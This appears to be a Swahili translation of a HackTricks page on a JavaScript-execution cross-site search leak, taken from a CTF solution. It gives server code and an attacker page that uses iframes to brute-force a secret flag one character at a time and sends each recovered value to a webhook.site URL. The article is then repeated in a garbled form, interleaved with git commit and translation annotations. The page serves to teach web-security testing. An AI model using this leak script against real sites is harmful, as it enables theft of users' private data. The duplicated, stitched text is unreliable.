hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

# Uvuvi wa Utekelezaji wa JavaScript XS Leak

<details>

<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za uvamizi kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
```
Ukurasa mkuu ambao unazalisha iframes kwenye ukurasa wa awali wa `/guessing` ili kujaribu kila uwezekano
```html
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1

let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}

//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
Translated to Swahili 2024-02-11 02:13:58 +00:00			`# Uvuvi wa Utekelezaji wa JavaScript XS Leak`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`<details>`

Translated to Swahili 2024-02-11 02:13:58 +00:00			`<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Swahili 2024-02-11 02:13:58 +00:00			`* Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia [MPANGO WA KUJIUNGA](https://github.com/sponsors/carlospolop)!`
			`* Gundua [Familia ya PEASS](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Pata [swag rasmi ya PEASS & HackTricks](https://peass.creator-spring.com)`
			`* Jiunge na [💬](https://emojipedia.org/speech-balloon/) [Kikundi cha Discord](https://discord.gg/hRep4RUj7f) au [kikundi cha telegram](https://t.me/peass) au nifuatilie kwenye Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
			`* Shiriki mbinu zako za uvamizi kwa kuwasilisha PR kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
			```javascript
			`// Code that will try ${guess} as flag (need rest of the server code`
			`app.get('/guessing', function(req, res) {`
Translated to Swahili 2024-02-11 02:13:58 +00:00			`let guess = req.query.guess`
			let page = `<html>
			`<head>`
			`<script>`
			`function foo() {`
			`// If not the flag this will be executed`
			`window.parent.foo()`
			`}`
			`</script>`
			`<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>`
			`</head>`
			`<p>hello2</p>`
			</html>`
			`res.send(page)`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`});`
			```
Translated to Swahili 2024-02-11 02:13:58 +00:00			Ukurasa mkuu ambao unazalisha iframes kwenye ukurasa wa awali wa `/guessing` ili kujaribu kila uwezekano
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			```html
			`<html>`
			`<head>`
Translated to Swahili 2024-02-11 02:13:58 +00:00			`<script>`
			`let candidateIsGood = false;`
			`let candidate = ''`
			`let flag = 'bi0sctf{'`
			`let guessIndex = -1`

			`let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Swahili 2024-02-11 02:13:58 +00:00			`// this will get called from our iframe IF the candidate is WRONG`
			`function foo() {`
			`candidateIsGood = false`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Swahili 2024-02-11 02:13:58 +00:00			`timerId = setInterval(() => {`
			`if (candidateIsGood) {`
			`flag = candidate`
			`guessIndex = -1`
			`fetch('https://webhook.site/<yours-goes-here>?flag='+flag)`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Swahili 2024-02-11 02:13:58 +00:00			`//Start with true and will be change to false if wrong`
			`candidateIsGood = true`
			`guessIndex++`
			`if (guessIndex >= flagChars.length) {`
			`fetch('https://webhook.site/<yours-goes-here>')`
			`return`
			`}`
			`let guess = flagChars[guessIndex]`
			`candidate = flag + guess`
			let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
			`console.log('iframe: ', iframe)`
			`hack.innerHTML = iframe`
			`}`
			`, 500);`
			`</script>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`</head>`
			`<p>hello</p>`
			`<div id="hack">`
			`</div>`
			`</html>`
			```
			`<details>`

Translated to Swahili 2024-02-11 02:13:58 +00:00			`<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Swahili 2024-02-11 02:13:58 +00:00			`* Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia [MPANGO WA KUJIUNGA](https://github.com/sponsors/carlospolop)!`
			`* Gundua [Familia ya PEASS](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Pata [swag rasmi ya PEASS & HackTricks](https://peass.creator-spring.com)`
			`* Jiunge na [💬](https://emojipedia.org/speech-balloon/) [Kikundi cha Discord](https://discord.gg/hRep4RUj7f) au [kikundi cha telegram](https://t.me/peass) au nifuatilie kwenye Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
			`* Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`